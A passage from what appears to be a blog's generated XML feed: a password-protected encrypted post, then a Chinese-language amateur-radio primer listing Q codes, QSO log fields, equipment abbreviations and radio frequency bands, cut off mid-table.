9a5697837fda5accdaabc0aba1484794a15f0453e201b4ce7b0e00542c8a393f25985fff18c040fa56a6e88f55a6e1df5ca1b37d3ba0a9cfd8db8a8a98283b49f0be9763f09f2aacbef95792060c4bc006c5fdb49dd1adc772aa7a938114814a5b68308390f777b5f6b3bb70111f88558485be8ef9676c18252a050d78393edc96e0766631e1f628dccf04e2363c33fd6776e1a88565ef1b16a246b25f6b2858e33941ac72ac8527ec411dbe28688fb1ccc438aad3f2ac4a87f84bbff3d0f0bcdc60c8d6a61be6bbcec07e6bca80975066d7b36790142aebd1899831ac73a4d77853863739375ac85056e91888414461767baf4b5e5284cff9c8fb8dada6c37e573a8b5327b50a9a382670c48f246390b68fd4ca2eb126aa1e7b3078683c49f2b97312db21829e053a1e01be39d8c4182400dee901e76906a80aaab6f6cf3ae26a5b6c7556d1bd11bbc4908ca4e581e7696622f620e6448b9da4365c695acb9b4f83ade668875e032be7cf705b5c25ef76d3d0bab8ecb9767b4fa353fe5ff5a36f29355c947eab92b226cf818e5eeaac7c8c0f62f477c009534b9ad6a5877e57b571792425b285e955ecd5d316beb35a61bfb56997ff1ce0aa34160fbc8c5bd7f5ede18c91efdf19462ab4b24e1101df84930c4751484702805ed3292e27c7d56b57dcbb61b415681ede195f92fc49f53fe36652c689e6f64db0241d827b979a308986eb988fc68e807793aa5ec4dfc4e2c1fd2f1fbc02ee9bfade70821245f877949cf64dbf7c1c7b143d50deda706ba0e6e0e81d4f09b97a4682098865681d8d7d825b18d8b6a3576b5163ebee3ef9ed5a975cd3b77c0deddf4da196b5c6d7a278cf69556e10948c19cbd715a84ff507bf659104ad6ceabdcc0c9c467fb6d700d97f19d0454962cd106132b77fca282c6e53c9b0ae434cbfab84c9a539de2b78e90fb90ccfd61186b42ef33305e8a0c5e73ee4486bf6082c33fca0811cfe794b78274c0d413e27f9e3acf4cc7700604901147c0b05ba5cb5e9fd14590e7314036cf2ad83bf112244459fe085c9dec1dfdb708a59826befe20a4091ff917f48de0809b87962b119a36d2da21ca6faa55c4c9dcf3025ad9a9b564bfa9d73ca30b38214ad0e59e336d45526860af23934099b93aeeb864ae7deae7a87ffb24ff2966ee887577aa9e21f1d0d280a98d383c2fbb576e567b8506f8b236efcea85852c14e8fc9606afd39ee57c4d7ef8df8c4259ded240eb02e9ba8721d9b8d81a4ec77151322a198c5c13a668b47e43d5496ee6ff954f5950941ab0935a1a3fd9c9cefb7f472802fcb3101b6456f82c7fae42c82aa601216ba91137aac9de99dee2ca2b832a47ae219ef8e2e860ded6f93370f8d33b3173c62b7c7b8eb9520092043403e707c1ce1bed86a26b546789fed0e8a86e12c6e8317eba6cfbc28526c07b4c0376eaa50f2c73ebcf0a855d1361f0b8439162dba7e8b063ff7d9c6489a6dd81b0f999ea3906656f547acc654e9d386315db13ce59fb95c4f526f274c8dc0aae5768fa74bc19bab028468b35bf21fe09124607f6021be0e4dd6fe97d81aaac1e03da736d71e4ef3cc91f2b35dfd1dcbed30a9e683c43531abceb71d0e06a1944d53e7b7ffe32a0bf8c8b94d9006e48c5ec01d51462491931363fc36d1329ebb1ce45c028cdb3757b7c9526f9516e46994bf0ac6c80181c7306b1a8a1bfaf35f340f55dd8a83c38695e32c81df89c00eff5f250b5758f073d5535db6e093472a76c198e7dddc83022e224bc49d991d5cea4c4488092777b9db389d710e21c5419913c4f9343b8d413533db673057e057ac5afaf72b3c7514c6f9da4aabedb8f024233f0e1c87178f466ebbd9e8b840a335b3de664f8c064b3ca3cb86557f190401c95793321d468115be3d45a8f1c38acdd0616adca8dd4cd2cb3707aa5ba7e33407c26e35db69ab4ee2e8763b2d65635eb87301e86c069b58295549ca7eb6ee70e304112faec69ac2131a6167263fb56d290335d966e5067ed5d3f2bc673a1350f72e7d17a000251e0bd5bb3ebb6911335426ad8ea13a37ba3959b263005dc78372aff352dbfe2fab494e239a7e11bcb0f2bc3694739545c2b28ab1a2120b97082b917ea31e2fd06deea9b0192eb222dc2d361255a0a70e2c44ae4b8bdcb2273952a281698312200f345cf0a6cb0feb48ac935cd32e615a87b6ab227477a8c28a54032c1a2383e901cb2996c4a598f93ea1751bd41d92a5bc7b7245210ef9940d05dba370d4064ba0e1e6796276d301e1036ef9aafd7baee76467c324e1bffbf4d50bd43ba1b676a622a29759297100d98b6315bfe3f7538ba3f1a0f2c5223cd99d61f5f21f688cfbd2b88855361ea5605f9efe4b38128fded4566adc8bc0defd9cb669d5f3cfb6f69fd37c83b2648308ff884aec4a7f35f496c3763e723c11becf26f75a18fd58ecca4a03b23840b181996415491e5191a04ef30818363e1c71ec89948c85723a94161679ffba9768d1cd0c3ef5a14bad4ae9c7387ca6abc52cf69055525b437dc5c6ae08931dc13242f704d3a9953631f505dc899597bee5da2ccff105b45fc011ec913437d7403cd38ab83bfe76d5f18d3bf6e6d4fb53a91e1c3b17345852e7e77d06486a321926481c73ed40965ab9efd7355821fd671c842ddcb2370d6a2bcc60b86ed739c043b5b1f38a9c7d80de169f5bfc7bc3c817e057eb8187b633e5169966b56362596e0c0c6b19a03feb203862f99d66b0fa4e29b5cc057bdf347f842cc7416adf1363f141ad9afe07e4702fe84029425e018086c5fe8d27edc25a31af63cc95c3a7800bcccf6a8ee60db2dced3a6dc37687bc4453d8b4e408f0b0d3867b78ab1bd6f300a1440e5657ba1c003a6b2f2d5241ae1fdc36ec846a55915fa863d35babd695a8f8cdfc1d0605a2df9feaf25b87d4f969a875bbb81ebf10cb740161a9cdb3d663d6b5d5d5dd836b627787b9f1d38b6793d41d2ca25001ffed18a9c9168d6ea1ed708390f6a0f9064addcb6c539bd7d33e346d17f10769cb8d70b1ca2ce9469cd83764728a39236451455066ae268c172558985f8e03037f940b3e5b7561dec2cfac034317ef9e9d76c29d3c741faf6fe78dbff5d3054ba20fb0416945f1b0a0561e25ad11fe0c9f24856300676fbfd60841b5dcc96c8bfff39b5baf36cd91a421fd6821aaefacc13c8cdde99fbe6ec1dcfd765b02ff866896f387a9f298033d0ca722c519cbb63ce5991dbf06aefadeaf97f88c43ac9eda21f3a7ea7a0c54f025dcb5b0a59a3f07099759ceb3437b55a21edcc41da72da894364794f441627e640a2f8891a98f6c68829f3a04b358ccc9eede7e43bee47a29e512d04eeb76a0ee261b44d16685a34c6f3dd9eaf3129c0a2b35fa899a5f3c826225e1b66c3c90b560f38d509b9c3a44165bbcb6ed3b5fe9a797501c85c45b860b539490a7556b9514054b8a2e97ec1a176cc12cc07bd8b3b9335b54f66fc8f4a0fecaec30eac708d3da0ecfa6c77364a4d1d95178169d1add71782b8dc112d8a1b47a27b85ede00ca929b90b5e9d1b04b198df1912b1dd6f2b8215e9f589dc9b8a216dd6f53a0ac567830d5336f532052c595739ca42402e7675fa86f101f8ce8d97c0fff1bb7f394596831c2c853b3c45901a28f89d6b2f0ab690e5c1da961e6bef44a1d8e6166a8c91be6f44e7c76d6832dcde6fbe59c8f98442078827ababc1ad83c7bb92f212c0ef8509f181b600ebda25198461ed54d1c84941a49b3c80e9b1c65b719000384d82d5d8cc1e6925790561b574d87c7b7dff81a9df1f281cca844122edbb22e22318e5af53049afeb8489cff0d9b59ed84765d35c7ac0a234bf36a9d439328c08ed92c35674a0b71b0434104f2ef58088c47e4001ba3c5eae70b8990d3778dfadc10a1fd4903d061a7de97b42e438de757c1c5689ea47216ad422b00d713ce3bc75542f83c4adf70e66835c0ec81259b33267307a22483896414e246b4d98bb0947ee2cd904f1cdd8c448f08f2b496a89a9d3d381398d3a29ff866b72299a02f95a705961619930caa037d3274b61f05a43d5e6c5c988cac9a4b5e6d8a5f49d8410410fcd1f6961a4f9e6115ae6e4da8bea42948cd6be7b0663fc8d759a4d4b2dd9e1832635aa503e8a1fcf65349488ff8b0dd585f8569f765620f3bd25ca01bd0163f5e2153abc86c4dadea0eeab72db1e9e5b1fb5c527690d49abcb3cca8a21e6ae594388968dad47ec590f8d335b4db7221484d24568f32a5312d65685894b13305816b3eed12bd9f520f2aa21a4f76d913ad1788e9f06381432361d66be7c8b3e0852810e1620c51dd9d5a419e1cabd601ab82d553f21fb6b5a33292266f0edcdd5bec433c5ebd7a7cf880f34978d5f394a6ae13d22643eda8854474d01cf91dae1d7d9cd7694c7ae97921c22ec8f55feeec7a6379e91808428b6b17395d122ab9dc10c583eb55b8ff4e5ed18324f5c57bb190dc156ec961d11e5dde5828e182528d2abba233b67c61f8625f85da79b8f1bc182f13b551d01e7e4a870a8bba4a43275e6cf61b30ef7eb7048e556e6b612a9ad37efe2dd9a969c20e5725d7471851642ba6a66ece62dbf0aec95c1b409172ea09e442e0f539bf656de22fe52c44d464e53b469eb01c47eee9d248d7c13d07d0e801ce83a97bf9d12e32ed51cabb83b880e828e796d88cef183aed82741da5a4e6d7eeaeef3dcc333437f37febe41e2c09004a91b3e91923c4c798bc82b7395c060e9677cb770a6cc70c411e86a00570e3df235a584f8054a6ac1e652eedaf237f5598ae8bb9735124dbb09c15dfe77ddbade5a4919b3d1b7c053acde134d019cb4655ffa9e770e3bf2e7c047d4bc1720d69f8bd8b1b8b1d1c07d8c30f70716aafb2c2ff50bbc4a8a84d545ac27729e975655fb28bd29165062fe7e7430608940aef0d2688f4ba08b11c8399d5a9a866e1a36780ac0cfeac02e198a911ca6ccf71baca9a3cb853d291d77b210e8633cb920c011aad7b0f3b9857eea34eaa46fc53bedd649f14a9498dac21ccc9dc9006ac319b21b96d2f32963c9cb60f877e0f2b60d77751d31082109b07520db977ffa5171ecc7b0ded267e6b766b113dcc496718917943a8c3b9bc07c46b01d9f59acae58b5555033ead97855038e3076599d019619ed5b23ec1e222321bc20ffb96176dd1e95c7e8514f1add890f33a56e3093cab1708f8368a92e9b0a4e2a6f63902a84acf5798c782654e9b111c3f703e12226efb219cdc12cbd3c7889d371333741d64e4a32831a7c8c43f14caee3e13deb8d98edcb21add2459bb753b6b0dff2093176d05032369ba2435af925561cd4750d5ef477104b856c7080bf2494bd5ad18f0339db7f08abb7e5e9a9b095c56087e4c9ffb68dcea040af3ef285f02ee21414d28210a3c58072bbfb592fb8e0133cc30752dbf958ecf9010e7f9c1039558dbeddab199d8c1cbe05e92ce80241c56694aaad3770432c054768381a293b133baa3b4283d6d2064675a2a28729e6553bd57ce80a37500bd1128dd3b987741d0ca7ef86417c72e65b87b2d02e286a8bf4bcf8619cb8b221dfd86f63b368ceae42e8a01e107611c91f5f51c3e2c196a3a36cab46d3837f8cba051e8e110479b37ae970fd9657496f49ffdb7eca5d3d1ce5f76f0ccc87c66dd3afde387cbd8a4f53990e0a93b3018609a4598c19f21a0c3f9ced9751b7da1c5afc833ab7915e7ac92a8ddf343972b5a57c1a281899821ab2843bf9661b2c9c341fa0877d5c2065563a4e5369f5189a7965208deeda10dd01904af6bbc59286c9bb7f0314b765fb6341dd8bf72445ca7df7294c99b347fdafed597d26ab4f991b876d0e7dfd21002eb15de83a7313637a1fbca0c904591c329d82ea078cf409eee19bcf7126e4daec35eb352a2afb0b2ce3b2265dcb06de348d8a0864c7e1e853614709144c6d0aa845a188203e53e12a759845b2e683f0a3710ae6a4c3bcf94865d1e0bf1d02dd3e3de99556b8ce04ecaaefc3f6606cb0a7d1fd0d6f01cacf09812ed2b7a9157ad67fb7204b2ed50e8f5dd8e198830e2fbdd2605988a672561e17bb84d00129ef4bbc65b9c4180350dc95d399c1da96804179401fb8a94dbb6bd7a9728064b89d55b4ecb8b1d538d866cd60c9ed4d513e365bcc207ba0789bd2b511b7c0d794d9a16d1f642248c720d93de23532e522ea43f744f6ba4461d8659d888a7ab1190dc15683b277c48d21c92f3276c3f31c1d92dad1742abc5bae7c401d61edcc3abd2b7754f9a4a37c471a6620f176c2229f3b30b398ca47ddff7e4efce8f6adecbf952d6c56c06e0d52964fd6ae07e2fece0a6b0c42eee3b265e4dd20d32d59b6da8d33ebb9201a6709fccfec62d62e3f61a06354a1b7228bf9b483a886612f350c4c5c6e298317bc188ddd9683220b0bb20faa8f6f5f61d01ac34521cdcf19708ec03f22865d608224a08b1693911a02b16706e63b0ffcfb8ea53375cb81a77262b2615066d5e13b1bc027a6fec19b78921e5de636ef9070bac423b975d84343b985859f03c04ab8e1584ff89c13d97b2e0414be025618d118d5abbe753c960abf072551bd0f294266526a96dd37926da76c1d65eeaea7aa3988c69a86751e3c73bf1055b5471a5c8f000ec18cfc83ad2b2081aeb4745546a93be49b5945842d12c57d0c68a05df88dc1e49f758f85328851fd58ff68cf078e6afe4f0ddd8b887f8628945c1d7f00a5de656ae59e3f41c8c5c08d4d9054f166b57ee967282b0388ed75dcefd8e41a2911bb45d917874a8cb21e938d3eeeef55b031ff7a8e72a910c7c684a0f5e868d248fe0aba50b9d7107cfd1468d04165834ec093742e1bd895af759b7aca9529e7660c6e5f247e752c47dfb806b134410b220bdbc0b35282540b67dccbfb0d8f374a0978c45eba81650509c5b8de5989f51fd05643facb2b8f36831bf3f37c67e3af8b6525d439db417393d4085dc36a156756e917b7ecbad20988497a26a199adb43a15efacb24d0aa92e7293fa1e5d2083ff841f34d34458de5c3b2b7e696c2e404810d49778fe0d2b420798c204697717aa691bdb25d41b1673aa32e961cf418801a36e0523c30d2177d130935377e91525a0908ad26095ea4e27da7e714987e4de99279536c15fb92db4bbbcf949f41e49e729be20ee6f8ee891b2162b4c4b06876129ecd0ff02e3caf94829a21116bd3994eeb0758bea5ba32262a298854de803ee874027ad37552c570e137786be5d6d49df6516999c88dc7b4fe0c7879276fc57655d909dcb220283503f844719bfcd5e8ed198bbdf75500a7cc45f55fa537202ffa8b382f31a8813bb997ed6913b3d9d139ec6a0313e4ce042df4f70e6c88603de5d1e3802f00cd5ec9966cc74ad26bf8cbeea18cb2fd89a48941ce693192d3a549d4784a077f17ad14c1a60765b2a88a2783d434ebaa196da65aa76a5b3ac8b1726c9488769cd3e274dd61289c0479c9786769d6d8cd6d79d1ad2f33bf5672278f49ad04ce7dc024d24931e50ba919b034037ab5d0f4c28d52fec18a69d6236ce03ecfb1a03b5853e0422a25205592fd4cfcdc8d17bc1ae9143ff83412694f111e3e6d53823c034b40ae88e378e6eed15e6499bf62bfaf0ab394f466dbf79a5cc0695f4536fc55b5e6c97a01354a27a18b95ab1600d53542ad156e4b5a3c6439eae361e7c4efad6411da7a94c49dbe3f14f7cfdbba3ceddf7b6f927e4a52a6cefbbb36f2cdd03187b444fbe7c36b224f3d8f9eb7389e682a53976cda6d00a829727433d956dcdb145007e170da3b4363f5e9e8e3465e9b7e9c2861cef4cfb498e6b7b80a0c89f404d7781fef41766d7c5b1633c8fdfd95e9ab2aaa41b9ced6899be9765ee7b33b284ec132eacb27ed97f49a68ac8a0edc69b83272331cd757b1ff888756a91e1e72957d1085414e0a93fd296ead6e1f7955ea9aaf9e69f8789c54521e9a182384b70c7c65c8e64756db5fe8c2704992a9275f1a94a78f060566372677f0b0b9299d809dc6001fe37440774563187a4f8dccdfeb8ed9c2622ded24b0342c8f62dd387d4eeaf4b8f1efb468afc41838a97ea2c9bb36002ba228723af2827f84ea7caac4511bdfb4d5466d1e96cdba7f3550b82c8481975a44847dbaf3895fa27a62a218ccaccb83b6f4b039f4923c9c296b750282e5bcf24b669c0470282f287e73ebdb94f983e081228019e07f899b8bb372517f1586d707abcde6a44ec3b764db1cba4061a5021fc69d72c225017eef5e4c6ca2eb0d1bd14acd0010e67c1ae15a2e8eaeb11dba94772722f3c10a6a639110285572ebbbf463da5a4e90a6c60d7c7de154d784940cd36adca2c0d7e7c640ba36c7c71a0ef0939979e3f640bd7afe4673e26965e135de9a24f819ac8bbe7b3183514767678a1096dc82be880d1ac3376339bf41890d91a4174f429fe1c9f68901a99a952744607889246586df4a8f5fcff077885fb5c973a06c2e4806fee45bad9637ce104d93ff7e550ee119345378a54e10120bb957fd241344a70d1cb7473be1b3c68b096ea00237a47f02f0ea5681d36834032c030d25b46f131be189358cd2a8b062adfefa2c52d01fad72fc85925d83f9ae6a42aeba2b123b9709008972041dd06b2b6f8f8dc4072551c7fcfb2e17de041492ca1fd259ce1b0c5656fb627fb467a329677ae646faf764178c79963b4cb3d9e35bc38d39a6d421ebb15991235799b235fb63b9b59167109c435d7d7132d6bfd4aabf7f2620f6bdff29171e30af1c0c1f9403f1fb405b147e2e23a896a0c10017f7155a61dd1df9131a5bd7ee655ea3cad2466063d907d4cd51d09d4d03d1072224af0dd88183574da73121d455bf1d849f81de34523aa4e0efe4ce93c876264ff9608fd37542191361738d012f0df4213ab09b5319657ca4ef33e200ab95f2fc595d9a8a66977e2bb167bab35f0536b6cb42119aac00e4d3a4419860f316f3e137b7ae8a5f046889f31f49c3b2fa49600e64a0a85c0c1dda9b7b89d1cb6f405cc7d30810ae7ee5386044a57d03de7fab919097f3051398ae6e088b34567a5389c4074e243055c4df3d24a9b9a93c52380a822dcc255470ed14e01a0a4b280bb256f2da82057ed83628af4b4299b3f7ab5ab6d4843ccec09e361661cf1456184beea7ada03617bfcbd09cc66b8a46be5a147dec04c403db969955e52f712eae8a967e2a9913093965688ca1e05e27560db2983ffc3e7f97a6ac0f1cc7a089940a278b45486bc0b91506667e1659d1725bfc1325064479d69e848232d8ea993d40983e5faac8ab506f376323833d04ffd7f56f14166fc1ec94caf374fdc7b47ba48b6873c2e5303c289d35fb0a13d9319b136667ceeb366f6b92341131765188a3af0f336698977372979045f3c959bf5852103374dec9e02cd510a424e57a9748275e8e63d1a267ce1ad3f8f0c4203cacc239baceb1c1ac9418009ec9a771847ebe0a1476275cc13cb22ac9624452196e166ce78b8ddde14da03c858513b24caa644183754253e4cf50eb8cf4af54fc837d704b67ea7cf3ca3cd5f9bccf81d8a9961e1892d791fa99dcec0ea3b43a2a672aa99ace03ce32545b164b369d4154686ceb19240ccb696fef7fd613ad7e834dfb9f31b24cb98332a1b9d3dac2aa01f849e4db46b5742c97a47532ca912e6805c36d9b51a3ec37f189cc1d47c8a8424973e30a116939b47a29beb4850e86f961ef5d50bd88f8573256fe0e12c8feeaa280d4ade420c3eedd430f85a43d9fde4457f0de41692db9f3ae48994f7be0c3e8fb86758f7cbf88d422aca1da36dca8c9a83c6ca81b520c9ac6ae2ea0227c5a8c87f708d99df036c3ed017affa47318fe98e55a94d5ba569a50e10dc97</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">您好, 这里需要密码.</span>      </label>    </div>    <!-- 添加确认按钮 -->    <button id="hbeConfirmBtn" class="hbe hbe-confirm-btn">Confirm</button>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 法规 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>无线电</title>
      <link href="/posts/wu-xian-dian/"/>
      <url>/posts/wu-xian-dian/</url>
      
        <content type="html"><![CDATA[<p>[TOC]</p><h2 id="📡-业余无线电常用-Q-简语表"><a href="#📡-业余无线电常用-Q-简语表" class="headerlink" title="📡 业余无线电常用 Q 简语表"></a>📡 业余无线电常用 Q 简语表</h2><div class = "md-table"><table><thead><tr><th>Q简语</th><th>全称 (英文)</th><th align="left">中文释义</th><th>使用频率</th></tr></thead><tbody><tr><td><strong>QSL</strong></td><td>Can you acknowledge receipt?</td><td align="left">确认收妥（我已收到&#x2F;请确认）</td><td>★★★★★</td></tr><tr><td><strong>QTH</strong></td><td>What is your location?</td><td align="left">位置（我的位置是…&#x2F;你的位置在哪）</td><td>★★★★★</td></tr><tr><td><strong>QRM</strong></td><td>Is my transmission being interfered with?</td><td align="left">干扰（有人为干扰&#x2F;杂音）</td><td>★★★★★</td></tr><tr><td><strong>QRN</strong></td><td>Are you troubled by static?</td><td align="left">天电干扰（雷电&#x2F;自然杂音）</td><td>★★★★☆</td></tr><tr><td><strong>QRZ</strong></td><td>Who is calling me?</td><td align="left">谁在呼叫我？（呼叫某台后回应“QRZ?”）</td><td>★★★★☆</td></tr><tr><td><strong>QRP</strong></td><td>Shall I decrease power?</td><td align="left">小功率（低功率发射&#x2F;我在用小功率）</td><td>★★★★☆</td></tr><tr><td><strong>QSB</strong></td><td>Is my signal fading?</td><td align="left">信号衰落（信号忽强忽弱）</td><td>★★★★☆</td></tr><tr><td><strong>QSO</strong></td><td>Can you communicate with…?</td><td align="left">通联（通信&#x2F;联络一次）</td><td>★★★★☆</td></tr><tr><td><strong>QSY</strong></td><td>Shall I change to another frequency?</td><td align="left">转频（转到其他频率&#x2F;频道）</td><td>★★★★☆</td></tr><tr><td><strong>QRT</strong></td><td>Shall I stop sending?</td><td align="left">停止发射（我下线&#x2F;关机了）</td><td>★★★★☆</td></tr><tr><td><strong>QRV</strong></td><td>Are you ready?</td><td align="left">我已准备就绪（可通联）</td><td>★★★☆☆</td></tr><tr><td><strong>QRL</strong></td><td>Are you busy?</td><td align="left">占用（此频率已有人使用&#x2F;忙碌中）</td><td>★★★☆☆</td></tr><tr><td><strong>QRO</strong></td><td>Shall I increase power?</td><td align="left">大功率（我在用高功率）</td><td>★★★☆☆</td></tr><tr><td><strong>QRG</strong></td><td>Will you tell me my exact frequency?</td><td align="left">频率（实际频率是多少）</td><td>★★☆☆☆</td></tr><tr><td><strong>QTR</strong></td><td>What is the correct time?</td><td align="left">时间（请报时&#x2F;当地时间）</td><td>★★☆☆☆</td></tr><tr><td><strong>QSK</strong></td><td>Can you hear me between your signals?</td><td align="left">可插话（半双工&#x2F;允许中途打断）</td><td>★☆☆☆☆</td></tr><tr><td><strong>QTC</strong></td><td>How many messages have you to send?</td><td align="left">电报&#x2F;消息（有多少信息要发？）</td><td>★☆☆☆☆</td></tr><tr><td><strong>QSP</strong></td><td>Will you relay a message?</td><td align="left">转达（请帮我中继转发消息）</td><td>★☆☆☆☆</td></tr></tbody></table></div><p>📌 <strong>总结：</strong></p><ul><li>最常用的 Q 简语是 <strong>QSL、QTH、QRM、QRN、QRZ、QRP、QSB、QSO、QSY、QRT</strong>，这些几乎每个业余电台都会用。</li><li>一般新手先记住 <strong>QSL（确认）、QTH（位置）、QRM（干扰）、QSO（通联）、QSY（转频）</strong> 就能顺畅交流。</li><li>其他如 <strong>QTR、QSP、QSK</strong> 在业余无线电场合较少用，多见于正式通信或电台比赛。</li></ul><h2 id="通联日志必记的主要字段"><a href="#通联日志必记的主要字段" class="headerlink" title="通联日志必记的主要字段"></a>通联日志必记的主要字段</h2><p><strong>记忆口诀</strong>（中文首字母联想）：</p><blockquote><p><strong>“呼日时频模信” → 呼号、日期、时间、频率、模式、信号报告</strong><br> 这样一眼就知道必填六要素。</p></blockquote><p>在业余无线电中，通常称为 <strong>QSO日志</strong>（QSO Log），常用字段如下：</p><div class = "md-table"><table><thead><tr><th>字段</th><th>英文</th><th>中文释义</th><th>重要性 &#x2F; 记忆方法</th></tr></thead><tbody><tr><td><strong>呼号</strong></td><td>Callsign</td><td>对方台站呼号</td><td>★★★★★ 最关键，可用“对方ID”记忆</td></tr><tr><td><strong>日期</strong></td><td>Date</td><td>通联日期（YYYY-MM-DD）</td><td>★★★★★ 每次通联都要记</td></tr><tr><td><strong>时间</strong></td><td>Time (UTC)</td><td>通联时间（推荐UTC）</td><td>★★★★★ 用“UTC统一时间”避免时差混淆</td></tr><tr><td><strong>频率 &#x2F; 波段</strong></td><td>Frequency &#x2F; Band</td><td>通联的频率或波段</td><td>★★★★☆ 可记作“HF&#x2F;50MHz&#x2F;144MHz等”</td></tr><tr><td><strong>模式</strong></td><td>Mode</td><td>通信模式（SSB、CW、FT8等）</td><td>★★★★☆ 用字母缩写记忆，容易区分</td></tr><tr><td><strong>信号报告</strong></td><td>RST</td><td>信号强度、清晰度报告</td><td>★★★★☆ R&#x3D;强度(1-9)、S&#x3D;清晰度(1-9)、T&#x3D;音调(1-9)</td></tr><tr><td><strong>QTH</strong></td><td>Location</td><td>对方地理位置</td><td>★★★★☆ 可用城市或格点网格LOCATOR记忆</td></tr><tr><td><strong>姓名</strong></td><td>Name</td><td>对方姓名</td><td>★★★☆☆ 主要用于友情记录</td></tr><tr><td><strong>备注</strong></td><td>Remarks</td><td>天气、设备、特别事件</td><td>★★★☆☆ 可灵活记录</td></tr></tbody></table></div><h2 id="电台天线及其它设备常用简语"><a href="#电台天线及其它设备常用简语" class="headerlink" title="电台天线及其它设备常用简语"></a>电台天线及其它设备常用简语</h2><div class = "md-table"><table><thead><tr><th>简语</th><th>英文全称</th><th>中文含义</th></tr></thead><tbody><tr><td><strong>WX</strong></td><td></td><td>天气</td></tr><tr><td><strong>ARDF或RDF</strong></td><td>(Amateur)Radio Direction Finding</td><td>（业余）无线电测向，竞赛或执法中用来定位无线电噪音源或者恶意干扰源</td></tr><tr><td><strong>ANT</strong></td><td>Antenna</td><td>天线</td></tr><tr><td><strong>YAGI</strong></td><td>Yagi-Uda Antenna</td><td>八木天线</td></tr><tr><td><strong>DIPOLE</strong></td><td>Dipole Antenna</td><td>偶极子天线</td></tr><tr><td><strong>GP</strong></td><td>Ground Plane Antenna</td><td>接地平面天线（垂直天线）</td></tr><tr><td><strong>VERT</strong></td><td>Vertical Antenna</td><td>垂直天线</td></tr><tr><td><strong>HOR</strong></td><td>Horizontal Antenna</td><td>水平天线</td></tr><tr><td><strong>BEAM</strong></td><td>Beam Antenna</td><td>定向天线</td></tr><tr><td><strong>LOOP</strong></td><td>Loop Antenna</td><td>环形天线</td></tr><tr><td><strong>WHIP</strong></td><td>Whip Antenna</td><td>鞭状天线</td></tr><tr><td><strong>LOG</strong> &#x2F; <strong>LPDA</strong></td><td>Log-Periodic Dipole Array</td><td>对数周期天线</td></tr><tr><td><strong>微波</strong></td><td>Microwave</td><td>（300 MHz–300 GHz）<strong>包含UHF、SHF、EHF。</strong><code>微波炉</code>的工作频率（2.45 GHz）在<code>UHF频段</code>内。</td></tr><tr><td><strong>EHF</strong></td><td>Extremely High Frequency</td><td>极高频（30–300 GHz） <code>毫米波</code>。【<strong>卫星中继</strong>】，必须点对点对准，可通过提高功率或天线增益弥补不足。</td></tr><tr><td><strong>SHF</strong></td><td>Super High Frequency</td><td>超高频（3–30 GHz） <code>厘米波</code>。其它同上。</td></tr><tr><td><strong>UHF</strong></td><td>Ultra High Frequency</td><td>特高频（300–3000 MHz**[3 GHz]<strong>）<code>分米波</code>。【<strong>基站中继接力</strong>】。用于</strong>Wi-Fi 2.4GHz**、<strong>家用微波炉 2.45GHz</strong>、GPS等。</td></tr><tr><td><strong>VHF</strong></td><td>Very High Frequency</td><td>甚高频（30–300 MHz）<code>米波</code>。【<strong>基站中继接力</strong>】，有一定的<code>绕射</code>能力，比<strong>HF</strong>稳定，用于<strong>FM广播</strong>、<strong>航空交通管制</strong>等。</td></tr><tr><td><strong>HF</strong></td><td>High Frequency</td><td>高频（3–30 MHz）。<code>波长</code>在<code>100m~10m</code>之间，又称<code>短波（Short Wave）</code>。可以被高空电离层反射回地面【<strong>天波传播</strong>】，从而实现<strong>超视距</strong>的极远距离、甚至全球通信。设备简单，成本低。但其高度依赖电离层的变化，而电离层又受太阳活动、日夜、季节影响极大，因此信号<strong>不稳定</strong>。用于<strong>远洋船舶&#x2F;航空通信、军事通信、业余无线电远程通联</strong>等。</td></tr><tr><td><strong>RF</strong></td><td>Radio Frequency</td><td>射频（3kHz–300GHz），<strong>作为载波，传输（AF信号等）信息</strong>。波长较短（从几米到毫米级），天线的尺寸可以与波长尺寸相当，易于实现。可以高效地通过天线以电磁波的形式<code>辐射</code>到空间中进行远距离传播。</td></tr><tr><td><strong>AF</strong></td><td>Audio Frequency</td><td>音频（16Hz–20MHz），<strong>基带信号</strong>，指<strong>信息本身</strong>，与<strong>RF载波</strong>无从属关系。频低波长（公里级）。因天线的尺寸需要与波长成正比，无法有效地以电磁波形式通过天线发射到远方。麦克风、耳机、音响设备利用导线<code>传导</code>方式传播！</td></tr><tr><td><strong>RIG或TRX或XCVR</strong></td><td>Transceiver</td><td>收发信机(电台主机型号)</td></tr><tr><td><strong>RX</strong></td><td>Receiver</td><td>接收机</td></tr><tr><td><strong>TX</strong></td><td>Transmitter</td><td>发射机</td></tr><tr><td><strong>PA</strong></td><td>Power Amplifier</td><td>功率放大器</td></tr><tr><td><strong>PSU</strong></td><td>Power Supply Unit</td><td>电源</td></tr><tr><td><strong>ATU</strong></td><td>Antenna Tuning Unit</td><td>天调（天线匹配器）</td></tr><tr><td><strong>SW</strong></td><td>Switch</td><td>开关</td></tr><tr><td><strong>SWR</strong></td><td>Standing Wave Ratio</td><td>驻波比</td></tr><tr><td><strong>KEY</strong></td><td>Key (Morse Key)</td><td>电键（CW电报发报键）</td></tr><tr><td><strong>MIC</strong></td><td>Microphone</td><td>麦克风</td></tr><tr><td><strong>SPK</strong></td><td>Speaker</td><td>扬声器</td></tr></tbody></table></div><h3 id="中、低频无线电波"><a href="#中、低频无线电波" class="headerlink" title="中、低频无线电波"></a><code>中、低频</code>无线电波</h3><div class = "md-table"><table><thead><tr><th align="left">频段</th><th align="left">频率范围</th><th align="left">主要传播方式</th><th align="left">核心特点</th><th align="left">主要应用场景</th></tr></thead><tbody><tr><td align="left"><strong>VLF</strong></td><td align="left">3-30 kHz</td><td align="left">地波、波导</td><td align="left"><strong>穿透海水、极稳定</strong></td><td align="left">军用对潜通信、远程导航、时间校准</td></tr><tr><td align="left"><strong>LF</strong></td><td align="left">30-300 kHz</td><td align="left">地波</td><td align="left"><strong>稳定、覆盖广</strong></td><td align="left">航空航海导航（NDB）、长波广播、电波钟</td></tr><tr><td align="left"><strong>MF</strong></td><td align="left">300-3000 kHz</td><td align="left"><strong>地波（昼）、天波（夜）</strong></td><td 